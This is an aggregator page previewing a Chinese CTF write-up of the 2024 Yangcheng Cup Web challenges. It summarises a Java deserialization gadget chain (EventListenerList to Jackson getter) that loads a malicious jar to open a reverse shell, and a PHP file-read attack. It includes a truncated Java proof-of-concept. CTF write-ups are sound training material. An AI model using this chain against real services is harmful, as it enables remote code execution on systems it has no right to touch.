山石网科安全技术研究院简称“山石安研院”正式成立于2020年4月,是山石网科的信息安全智库部门,山石安研院旗下包括干将、莫邪两大安全实验室,以及安全预警分析、高端攻防培训两支独立的技术团队。
目录
相关文章推荐
今天看啥  ›  专栏  ›  山石网科安全技术研究院

2024年羊城杯粤港澳大湾区网络安全大赛WP-Web AK篇

山石网科安全技术研究院  · 公众号  · 黑客  · 2024-08-29 14:35

主要观点总结

文章描述了使用Java和PHP进行的一种攻击方式,涉及到利用EventListenerList触发toString,再由Jackson库触发User的getter方法加载jar包到classpath中,构造一种名为POC的链子。文章还提到了利用Java序列化来上传恶意jar包,并在静态块中反弹shell。文章还展示了如何上传和加载恶意类,并利用反序列化触发恶意类实例化。文章最后提到了利用PHP的任意文件读取漏洞进行攻击。

关键观点总结

关键观点1: 利用EventListenerList触发toString

通过EventListenerList触发toString,再由Jackson库触发User的getter方法加载jar包到classpath中,构造一种名为POC的链子。

关键观点2: Java序列化上传恶意jar包

利用Java序列化上传恶意jar包,并在静态块中反弹shell。

关键观点3: 上传和加载恶意类

展示了如何上传和加载恶意类,并利用反序列化触发恶意类实例化。

关键观点4: 利用PHP的任意文件读取漏洞进行攻击

文章最后提到了利用PHP的任意文件读取漏洞进行攻击。


文章预览

ez_java 阿里云CTF考过,利用EventListenerList触发toString,后面再由jackjson链触发User的getter来加载jar包到classpath中,构造链子POC如下: package  com.example.ycbjava; import  com.example.ycbjava.bean.User; import  com.fasterxml.jackson.databind.node.POJONode; import  javax.swing.event.EventListenerList; import  javax.swing.undo.UndoManager; import  java.io.*; import  java.lang.reflect.Field; import  java.util.Base64; import  java.util.Vector; public   class   YcbSer   {      public   static   void   main (String[] args)   throws  Exception {         POJONode json =  new  POJONode( new  User( "jar:file:/templates/Reverse.jar!/" ,  "" ));         UndoManager undoManager =  new  UndoManager();         EventListenerList eventListenerList =  new  EventListenerList();         Vector vector = (Vector) getField(undoManager,  "edits" );         vector.add(json);         setFi ………………………………

原文地址:访问原文地址
快照地址: 访问文章快照
总结与预览地址:访问总结与预览